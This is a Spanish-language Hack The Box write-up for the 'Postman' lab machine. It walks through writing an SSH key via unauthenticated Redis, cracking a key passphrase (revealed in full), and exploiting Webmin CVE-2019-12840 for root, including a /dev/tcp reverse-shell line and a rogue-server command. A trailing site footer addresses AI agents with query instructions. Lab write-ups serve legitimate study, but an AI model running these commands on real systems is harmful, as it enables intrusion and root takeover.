> For the complete documentation index, see [llms.txt](https://oliver-3.gitbook.io/redteam-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oliver-3.gitbook.io/redteam-notes/hack-the-box/postman.md).

# Postman

Máquina: Postman Dificultad: Easy | OS: Linux

***

**Ruta de ataque:**

```
Redis sin auth → inyección de SSH key → shell como redis
   → su Matt (clave SSH crackeada) → shell como Matt
      → Webmin 1.910 (CVE-2019-12840) → shell como root
```

***

#### 1. Reconocimiento - Nmap

```bash
nmap -p- -T4 --min-rate=3000 -sC -sV <IP> -oA Postman
```

**Resultado:**

| Puerto | Servicio | Versión                 |
| ------ | -------- | ----------------------- |
| 22     | SSH      | OpenSSH 7.6p1           |
| 80     | HTTP     | Apache 2.4.29           |
| 6379   | Redis    | Redis 4.0.9             |
| 10000  | HTTPS    | Webmin / MiniServ 1.910 |

> **Hallazgos:** Redis 4.0.9 en 6379 (sin auth por defecto) y Webmin 1.910 en 10000 (versión con CVEs conocidos).

> Si Redis no aparece en un primer scan rápido, vale la pena un **UDP scan** o un full-port: en algunos writeups el 6379 se descubrió recién al escanear todos los puertos. El `--min-rate` alto + `-p-` lo cubre.

**Conversión del scan a HTML**

```bash
xsltproc -o Postman.html nmap-custom.xsl Postman.xml
```

> Reutiliza el stylesheet propio `nmap-custom.xsl` (ver doc de Pov). El XML de entrada es el `.xml` que genera `-oA`.

***

#### 2. Foothold - Redis sin autenticación

**2.1 Reconocimiento de Redis**

Instalar el cliente si falta:

```bash
sudo apt install redis-tools
```

Confirmar acceso sin credenciales:

```bash
redis-cli -h <IP> ping          # → PONG
redis-cli -h <IP> info          # info del server: versión, OS, role
redis-cli -h <IP> CONFIG GET *  # config actual (dir, dbfilename...)
redis-cli -h <IP> KEYS '*'      # claves almacenadas
```

> **Concepto:** Redis por defecto no pide autenticación y permite cambiar `dir` y `dbfilename` en caliente. Eso permite escribir el dump de la base de datos en cualquier ruta y con cualquier nombre → se puede escribir un `authorized_keys` arbitrario.

> En `CONFIG GET dir` suele verse `/var/lib/redis` → indica que Redis corre como el usuario `redis`, cuyo home es ese. Ese es el directorio donde hay que escribir la clave SSH.

**2.2 Camino A - Inyección de SSH key (el clásico)**

**Generar par de claves en Kali:**

```bash
ssh-keygen -t rsa -f /tmp/redis_key -N ""
```

**Preparar la clave pública con padding** (los `\n` evitan que el ruido binario del RDB corrompa la línea de la clave):

```bash
(echo -e "\n\n"; cat /tmp/redis_key.pub; echo -e "\n\n") > /tmp/key.txt
```

**Cargar la clave en Redis:**

```bash
cat /tmp/key.txt | redis-cli -h <IP> -x set ssh_key
```

**Apuntar el dump al .ssh del usuario redis y guardar:**

```bash
redis-cli -h <IP>
> config set dir /var/lib/redis/.ssh
> config set dbfilename authorized_keys
> save
> exit
```

**Conectar por SSH:**

```bash
chmod 600 /tmp/redis_key
ssh -i /tmp/redis_key redis@<IP>
```

→ Shell como `redis@Postman`

> &#x20;El directorio `/var/lib/redis/.ssh` tiene que existir (en Postman existe). Si `config set dir` falla, ese path no existe o no es escribible.

**2.3 Camino B - Master-Slave Replication RCE (alternativa)**

Redis 4.x/5.x es vulnerable a un RCE vía replicación maestro-esclavo: se carga un módulo `.so` malicioso desde un "master" controlado por el atacante. Herramienta: `redis-rogue-server` (<https://github.com/n0b0dyCN/redis-rogue-server>).

```bash
git clone https://github.com/n0b0dyCN/redis-rogue-server
cd redis-rogue-server
python3 redis-rogue-server.py --rhost <IP> --rport 6379 --lhost <TU_IP> --lport 4444
```

> Da RCE directo como el usuario de Redis. Es más ruidoso que la inyección de SSH key; para Postman el Camino A es más limpio.

> 📝 **Nota:** el módulo de Metasploit `exploit/linux/redis/redis_replication_cmd_exec` existe pero **falla en Postman** (lo documenta 0xdf en "Beyond Root") — la inyección manual de SSH key es la vía confiable.

***

#### 3. Lateral Movement - redis → Matt

**3.1 Enumeración**

```bash
ls -la /home/                 # usuarios: Matt, redis
ls -la /opt                   # → id_rsa.bak  (clave SSH privada de Matt, cifrada)
cat /opt/id_rsa.bak
```

**3.2 Crackear la clave SSH**

**Pasar la clave a Kali** (o trabajar local en la máquina):

```bash
scp -i /tmp/redis_key redis@<IP>:/opt/id_rsa.bak /tmp/id_rsa.bak
```

**Extraer el hash y crackear:**

```bash
ssh2john /tmp/id_rsa.bak > /tmp/matt.hash
john /tmp/matt.hash --wordlist=/usr/share/wordlists/rockyou.txt
```

→ Passphrase: `computer2008`

**Camino alternativo - hashcat:**

```bash
hashcat -m 22931 /tmp/matt.hash /usr/share/wordlists/rockyou.txt
```

> Modo `22931` = RSA/DSA/EC/OpenSSH private keys. Útil si preferís GPU.

**3.3 Shell como Matt**

**Camino A - `su` (el más simple):**

La passphrase de la clave SSH **es también el password del usuario Matt**. Desde la shell de redis:

```bash
su - Matt
# Password: computer2008
```

→ Shell como `Matt@Postman`

> &#x20;**SSH directo como Matt NO funciona:** la config del SSH server bloquea el login de Matt (`AllowUsers`/`DenyUsers` o la clave está restringida). Por eso se usa `su` desde la shell de redis. Si intentás `ssh -i id_rsa.bak Matt@<IP>` te rechaza — es comportamiento esperado de la máquina, no un error tuyo.

**Camino B - desencriptar la clave y usarla** (si SSH lo permitiera):

```bash
# quitar la passphrase de la clave
ssh-keygen -p -f /tmp/id_rsa.bak -P 'computer2008' -N ''
chmod 600 /tmp/id_rsa.bak
ssh -i /tmp/id_rsa.bak Matt@<IP>
```

User flag: `/home/Matt/user.txt`

***

#### 4. Privilege Escalation - Matt → root (Webmin)

**4.1 Reconocimiento**

```bash
sudo -l        # → sin entradas / no sudoers
```

Webmin corre en `https://<IP>:10000`. **Webmin suele correr como root** (necesita privilegios para administrar el sistema) → si se explota, se obtiene root directo.

**Login en Webmin:** las credenciales de Matt funcionan en el portal web — `Matt:computer2008`. Es **reúso de credenciales**: el mismo password de la clave SSH sirve para Webmin.

> Webmin bloquea temporalmente la IP tras varios intentos fallidos de login. No hacer fuerza bruta — usar directo `Matt:computer2008`.

**4.2 CVE-2019-12840 - Package Updates RCE**

**Vulnerabilidad:** inyección de comandos en el módulo "Software Package Updates" (`/package-updates/update.cgi`). Cualquier usuario con permiso sobre ese módulo ejecuta comandos **como root**. Matt tiene ese permiso.

> **No confundir con CVE-2019-15107:** ese es un backdoor en `password_change.cgi` que da RCE **sin autenticación**, pero solo afecta a builds específicas de Webmin 1.890–1.920 con el código backdooreado. En Postman el camino válido es **CVE-2019-12840** (con login de Matt).

**4.3 Camino A - Metasploit (el más confiable)**

```
msfconsole
use exploit/linux/http/webmin_packageup_rce
set RHOSTS <IP>
set RPORT 10000
set SSL true
set USERNAME Matt
set PASSWORD computer2008
set LHOST tun0
set LPORT 4444
run
```

→ Shell como `root`

> `set SSL true` es obligatorio — Webmin corre sobre HTTPS. Olvidarlo es la causa #1 de que el módulo "no funcione". A veces el exploit falla a la primera (no se crea la sesión) — reintentar. Varios writeups reportan necesitar 2-4 intentos.

**4.4 Camino B - Explotación manual (Burp / curl)**

El parámetro vulnerable está en el POST a `update.cgi`. La estructura del exploit:

1. Loguearse en Webmin con `Matt:computer2008` y guardar la cookie de sesión.
2. POST a `/package-updates/update.cgi` con un campo `data` que contenga el comando inyectado en el nombre del paquete (`u=` / `data=`), usando metacaracteres de shell.
3. El servidor concatena el input en una llamada de sistema → ejecuta el comando como root.

**Reverse shell:** si el server filtra `|`, `>`, `&`, evitar esos caracteres:

* Usar un cradle: `bash -c 'bash -i >& /dev/tcp/<TU_IP>/4444 0>&1'` codificado en base64 y ejecutado con `echo <b64> | base64 -d | bash`
* O escribir la reverse shell a un archivo y ejecutarla en dos pasos

```bash
# listener
nc -lvnp 4444
```

> El exploit-db de referencia (46984) tiene el PoC completo del request. Para Postman, el Camino A (Metasploit) es más directo y evita pelear con el filtrado de caracteres.

Root flag: `/root/root.txt`

***

### Conceptos Clave Aprendidos

| Concepto                    | Descripción                                                                |
| --------------------------- | -------------------------------------------------------------------------- |
| Redis sin auth              | `CONFIG SET dir/dbfilename` + `SAVE` permite escribir archivos arbitrarios |
| SSH key injection vía Redis | Escribir clave pública en el `authorized_keys` del usuario de Redis        |
| Redis rogue server (alt)    | Master-Slave replication → carga módulo `.so` → RCE directo                |
| ssh2john / hashcat          | Crackear passphrase de claves SSH privadas (`-m 22931` en hashcat)         |
| Reúso de credenciales       | El password de la clave SSH de Matt sirve también para `su` y para Webmin  |
| Webmin como root            | Webmin suele correr como root → explotarlo da root directo                 |
| CVE-2019-12840              | RCE autenticado en el módulo Package Updates de Webmin ≤1.910              |
| CVE-2019-15107 (distinguir) | Backdoor sin auth en `password_change.cgi` — distinto CVE, no usado acá    |

***

### Troubleshooting

| Problema                        | Causa                                     | Solución                                               |
| ------------------------------- | ----------------------------------------- | ------------------------------------------------------ |
| `config set dir` falla en Redis | el path destino no existe / no escribible | usar `/var/lib/redis/.ssh` (home del user redis)       |
| SSH como redis rechaza la clave | clave pública corrupta en el RDB          | regenerar `key.txt` con padding `\n\n` antes y después |
| SSH directo como Matt rechazado | SSH server restringe ese usuario          | usar `su - Matt` desde la shell de redis               |
| Webmin bloquea el login         | demasiados intentos fallidos              | esperar el lockout; usar directo `Matt:computer2008`   |
| Módulo MSF de Webmin "no anda"  | falta `set SSL true` (Webmin es HTTPS)    | activar SSL; reintentar 2-4 veces si no crea sesión    |
| MSF redis\_replication falla    | el módulo no es fiable en esta box        | usar inyección manual de SSH key                       |
| Reverse shell de Webmin no cae  | filtrado de \`                            | `,` >`,` &\`                                           |

***

### Remediación

* **Redis:** `bind 127.0.0.1`, `requirepass <password fuerte>`, `protected-mode yes`. No exponer 6379 a la red.
* **Webmin:** actualizar a ≥1.930 (parchea CVE-2019-12840 y CVE-2019-15107).
* **SSH keys:** passphrase fuerte (`ssh-keygen -t ed25519`), no dejar `.bak` de claves en `/opt`.
* **Credenciales:** no reutilizar el mismo password entre SSH, `su` y Webmin.
* **Monitoreo:** `auditctl -w /var/lib/redis/.ssh/ -p wa -k redis_ssh`.

***

### Referencias

* CVE-2019-12840 — Webmin Package Updates RCE — exploit-db 46984
* CVE-2019-15107 — Webmin `password_change.cgi` backdoor (no usado en Postman)
* Redis Security — <https://redis.io/topics/security>
* redis-rogue-server — <https://github.com/n0b0dyCN/redis-rogue-server>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://oliver-3.gitbook.io/redteam-notes/hack-the-box/postman.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
